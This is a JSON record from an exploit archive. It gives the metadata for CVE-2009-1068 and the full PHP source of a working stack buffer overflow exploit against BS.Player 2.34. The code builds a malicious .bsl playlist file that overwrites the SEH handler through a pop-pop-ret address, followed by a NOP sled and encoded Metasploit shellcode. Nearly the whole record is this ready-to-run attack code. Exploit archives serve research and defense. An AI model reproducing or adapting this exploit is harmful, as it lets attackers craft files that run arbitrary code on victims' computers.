{"exploit":{"id":"EDB-8249","name":"BS.Player 2.34 Build 980 - '.bsl' Local Buffer Overflow (SEH)","description":"BS.Player 2.34 Build 980 - '.bsl' Local Buffer Overflow (SEH)","cves":["CVE-2009-1068"],"author":"Nine:Situations:Group","published":"2009-03-20","platform":"windows","type":"local","language":"PHP","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/8249","path":"exploits/windows/local/8249.php","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-8249.php","vulnerabilities":[{"id":"CVE-2009-1068","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in BS.Player (bsplayer) 2.32 Build 975 Free and 2.34 Build 980 PRO and earlier allows remote attackers to cause a denial of service (application crash) or execute arbitrary code via a long hostname in a .bsl playlist file.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-1068","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-1068"},"updatedAt":"2024-08-07T04:57:17.578Z","retrievedAt":"2026-11-26T21:08:38.215Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-8249.png?v=2","url":"https://exploitbin.com/exploits/EDB-8249","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-8249/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-8249/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<?php\n/*\nBs.Player <= 2.34 Build 980 (.bsl) local buffer overflow 0day exploit (seh)\nby Nine:Situations:Group::pyrokinesis\n\nOverlong hostnames in bsplayer playlist files causes eax and seh handlers to be\noverwritten. Cannot reliably debug with olly because of code compression, just\nused faultmon/memdump/msfpescan and I choosed the easy/universal way with seh.\nThere are some pop ret addresses in common among the vulnerable versions...\n\nWell it says local but I consider it a remote one because .bsl files are\nassociated to the program\nTested and working against:\n\n...\nv2.32 Build 975 Free\nv2.34 Build 980 PRO\nwin xp pro sp2 / sp3\nwin 2k3 sp1\n\nnot vulnerable:\nv2.35 Build 985 PRO\nV2.36 Build 990 Free/Pro\n\n\n*/\n$buffer=\n\"\\x23\\x45\\x58\\x54\\x4d\\x33\\x55\\x0d\\x0a\\x23\\x45\\x58\\x54\\x49\\x4e\\x46\".\n\"\\x3a\\x30\\x2c\\x41\\x41\\x41\\x41\\x0d\\x0a\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\".\n\"\\x52\\x61\\x77\\x2d\\x48\\x69\\x67\\x68\\x2e\";\n\n$nop1=str_repeat(\"\\x90\",384);\n$eax_again=\"BBBB\";\n$nop2=str_repeat(\"\\x90\",12);\n$eax=\"CCCC\";\n$nop3=str_repeat(\"\\x90\",8);\n$jnk=$nop1.$eax_again.$nop2.$eax.$nop3;\n\n$jmp=\"\\xeb\\x08\\x90\\x90\";\n\n$seh=\"\\xb1\\xad\\x41\\x00\"; //0x0041adb1   pop pop ret bsplayer.exe\n\n$nop4=str_repeat(\"\\x90\",100);\n\n// win32_exec -  EXITFUNC=seh CMD=calc Size=330 Encoder=Alpha2 http://metasploit.com\n$scode=\n\"\\xeb\\x03\\x59\\xeb\\x05\\xe8\\xf8\\xff\\xff\\xff\\x49\\x49\\x49\\x49\\x49\\x49\".\n\"\\x49\\x49\\x49\\x49\\x49\\x49\\x49\\x49\\x49\\x37\\x49\\x49\\x51\\x5a\\x6a\\x47\".\n\"\\x58\\x50\\x30\\x42\\x31\\x41\\x42\\x6b\\x42\\x41\\x57\\x32\\x42\\x42\\x42\\x32\".\n\"\\x41\\x41\\x30\\x41\\x41\\x58\\x38\\x42\\x42\\x50\\x75\\x59\\x79\\x4b\\x4c\\x69\".\n\"\\x78\\x37\\x34\\x67\\x70\\x45\\x50\\x75\\x50\\x6c\\x4b\\x61\\x55\\x45\\x6c\\x6e\".\n\"\\x6b\\x71\\x6c\\x73\\x35\\x62\\x58\\x66\\x61\\x6a\\x4f\\x4c\\x4b\\x42\\x6f\\x56\".\n\"\\x78\\x4c\\x4b\\x71\\x4f\\x77\\x50\\x57\\x71\\x6a\\x4b\\x72\\x69\\x6e\\x6b\\x75\".\n\"\\x64\\x4e\\x6b\\x75\\x51\\x68\\x6e\\x30\\x31\\x59\\x50\\x4d\\x49\\x4c\\x6c\\x4f\".\n\"\\x74\\x69\\x50\\x31\\x64\\x36\\x67\\x4f\\x31\\x4a\\x6a\\x44\\x4d\\x75\\x51\\x68\".\n\"\\x42\\x38\\x6b\\x5a\\x54\\x35\\x6b\\x62\\x74\\x75\\x74\\x37\\x74\\x70\\x75\\x68\".\n\"\\x65\\x4c\\x4b\\x51\\x4f\\x35\\x74\\x73\\x31\\x4a\\x4b\\x50\\x66\\x6c\\x4b\\x44\".\n\"\\x4c\\x50\\x4b\\x6c\\x4b\\x41\\x4f\\x77\\x6c\\x34\\x41\\x7a\\x4b\\x6c\\x4b\\x67\".\n\"\\x6c\\x6e\\x6b\\x37\\x71\\x6a\\x4b\\x4d\\x59\\x33\\x6c\\x71\\x34\\x54\\x44\\x39\".\n\"\\x53\\x55\\x61\\x6f\\x30\\x41\\x74\\x6c\\x4b\\x37\\x30\\x70\\x30\\x6e\\x65\\x4b\".\n\"\\x70\\x61\\x68\\x66\\x6c\\x6e\\x6b\\x61\\x50\\x36\\x6c\\x6e\\x6b\\x74\\x30\\x65\".\n\"\\x4c\\x6e\\x4d\\x6c\\x4b\\x71\\x78\\x64\\x48\\x68\\x6b\\x76\\x69\\x6c\\x4b\\x4f\".\n\"\\x70\\x48\\x30\\x75\\x50\\x75\\x50\\x55\\x50\\x4e\\x6b\\x63\\x58\\x67\\x4c\\x31\".\n\"\\x4f\\x56\\x51\\x4a\\x56\\x53\\x50\\x41\\x46\\x4f\\x79\\x4b\\x48\\x4b\\x33\\x39\".\n\"\\x50\\x61\\x6b\\x32\\x70\\x53\\x58\\x6c\\x30\\x4c\\x4a\\x65\\x54\\x53\\x6f\\x63\".\n\"\\x58\\x7a\\x38\\x49\\x6e\\x4e\\x6a\\x54\\x4e\\x70\\x57\\x69\\x6f\\x58\\x67\\x62\".\n\"\\x43\\x72\\x41\\x70\\x6c\\x70\\x63\\x43\\x30\\x47\";\n\n$buffer.=$jnk.$jmp.$seh.$nop4.$scode;\n$buffer.=\n\"x56\\x37\\x2e\\x46\\x4d\\x2f\\x6c\\x69\\x73\\x74\\x65\\x6e\\x2e\\x70\".\n\"\\x6c\\x73\\x0d\\x0a\\x00\";\n\n$fp=fopen(\"evil.bsl\",\"w+\");\nif (!$fp) {die(\"cannot create evil.bsl!\");}\n@fputs($fp,$buffer);\n@fclose($fp);\n?>\n\n# milw0rm.com [2009-03-20]","sha256":"1af45aeb6991117734e720b7dec5b62886da2c6b42b7dce31b0046691fd8f5e3","bytes":2948,"fetchedAt":"2026-11-26T21:08:33.420Z","encoding":"utf-8 (display only; download retains original bytes)"}